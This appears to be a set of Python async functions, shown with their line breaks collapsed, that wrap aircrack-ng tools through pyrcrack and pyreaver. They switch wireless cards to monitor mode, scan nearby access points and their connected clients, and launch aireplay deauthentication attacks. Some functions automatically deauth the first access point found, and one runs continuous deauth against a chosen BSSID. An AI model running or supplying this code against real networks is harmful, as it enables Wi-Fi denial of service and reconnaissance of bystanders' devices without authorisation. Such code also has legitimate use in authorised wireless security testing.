async def attack(interface, apo): """Run aireplay deauth attack.""" async with pyrcrack.AirmonNg() as airmon: await airmon.set_monitor(interface['interface'], apo.channel) async with pyrcrack.AireplayNg() as aireplay: await aireplay.run(interface['interface'], deauth=10, D=True) while True: await asyncio.sleep(2)
async def attack(interface, apo): """Run aireplay deauth attack.""" async with pyrcrack.AirmonNg() as airmon: await airmon.set_monitor(interface['interface'], apo.channel) async with pyrcrack.AireplayNg() as aireplay: await aireplay.run( interface['interface'], deauth=sys.argv[1], D=True) print(await aireplay.proc.communicate())
async def attackAllHelper(bssid, channel): async with pyrcrack.AirmonNg() as airmon: interface = (await airmon.list_wifis())[0]['interface'] interface = (await airmon.set_monitor(interface))[0] await airmon.set_monitor(interface['interface'], channel) async with pyrcrack.AireplayNg() as aireplay: await aireplay.run( interface['interface'], deauth="0", D=True, a=bssid) print(await aireplay.proc.communicate()) return "OK"
async def get_wifis(request): """Get a list of wireless interfaces --- summary: Get a list of capable wireless interface description: Get a list of capable wireless interfaces tags: - interfaces """ async with pyrcrack.AirmonNg() as airmon: return await airmon.list_wifis()
async def channel(request): """Channel --- summary: Set channel description: Set channel tags: - "interfaces" consumes: - "application/json" produces: - "application/json" parameters: - in: "body" name: "body" description: "Set channel" required: true schema: type: object required: - interface - channel properties: channel: description: "Channel" type: string example: "1" interface: description: "Wifi interface" type: string example: "wlan0" produces: - application/json responses: 200: description: All OK. 500: description: Unknown exception 400: description: Bad request """ results = await request.json() wifi = results['interface'] channel = results['channel'] async with pyrcrack.AirmonNg() as airmon: assert wifi in (a['interface'] for a in (await airmon.list_wifis())) return { 'set_monitor': True, 'results': await airmon.set_monitor(wifi, channel) }
async def scan_for_targets(): """Scan for targets, return json.""" async with pyrcrack.AirmonNg() as airmon: interface = await airmon.set_monitor(sys.argv[-1]) async with pyreaver.Wash() as wash: await wash.run(interface=interface[-1]['interface']) printed = [] while True: await asyncio.sleep(1) for apo in wash.sorted_aps(): if apo not in printed: print(apo) printed = wash.sorted_aps()
async def deauth(): """Scan for targets, return json.""" async with pyrcrack.AirmonNg() as airmon: interface = (await airmon.list_wifis())[0]['interface'] interface = (await airmon.set_monitor(interface))[0] async with pyrcrack.AirodumpNg() as pdump: await pdump.run(interface['interface'], write_interval=1) # Extract first results while True: with suppress(KeyError): await asyncio.sleep(2) ap = pdump.sorted_aps()[0] break # Deauth. await attack(interface, ap)
async def getApsHelper(): """Scan for targets, return json.""" apsList= [] async with pyrcrack.AirmonNg() as airmon: interface = (await airmon.list_wifis())[0]['interface'] interface = (await airmon.set_monitor(interface))[0] async with pyrcrack.AirodumpNg() as pdump: await pdump.run(interface['interface'], write_interval=1) await asyncio.sleep(15) aps = pdump.sorted_aps() for ap in aps: currentDict = {"bssid": ap.bssid, "essid": ap.essid,"channel": ap.channel, "clients": [c.station_mac for c in ap.clients]} apsList.append(currentDict) # await attack1(interface) print(json.dumps(apsList)) return json.dumps(apsList)
async def monitor_mode(request): """Set interface in monitor mode. --- summary: Set monitor mode description: Set monitor mode tags: - "interfaces" consumes: - "application/json" produces: - "application/json" parameters: - in: "body" name: "body" description: "Set monitor mode" required: true schema: type: object required: - interface properties: interface: description: "Wifi interface" type: string example: "wlan0" produces: - application/json responses: 200: description: All OK. 500: description: Unknown exception 400: description: Bad request """ wifi = (await request.json())['interface'] async with pyrcrack.AirmonNg() as airmon: assert wifi in (a['interface'] for a in (await airmon.list_wifis())) return {'set_monitor': True, 'results': await airmon.set_monitor(wifi)}
async def scan_for_targets(): """Scan for targets, return json.""" console = Console() console.clear() console.show_cursor(False) airmon = pyrcrack.AirmonNg() interfaces = await airmon.interfaces console.print(interfaces.table) interface = Prompt.ask('Select an interface', choices=[a.interface for a in interfaces]) async with airmon(interface) as mon: async with pyrcrack.AirodumpNg() as pdump: # TODO: Maybe copy this object upon __call__ so we can do, paralell # async for result in pdump(foo) (the only relevant part would be # execn properties) within the same temporary path? async for aps in pdump(mon.monitor_interface): console.clear() console.print(aps.table) client = Prompt.ask( 'Select an AP', choices=['continue', *[str(a) for a in range(len(aps))]]) if client != 'continue': break async with pyrcrack.AirodumpNg() as pdump: console.print( ":vampire:", f"Selected client: [red] {aps[int(client)].bssid} [/red]") async for result in pdump(mon.monitor_interface, **aps[int(client)].airodump): console.clear() console.print(result.table) await asyncio.sleep(3)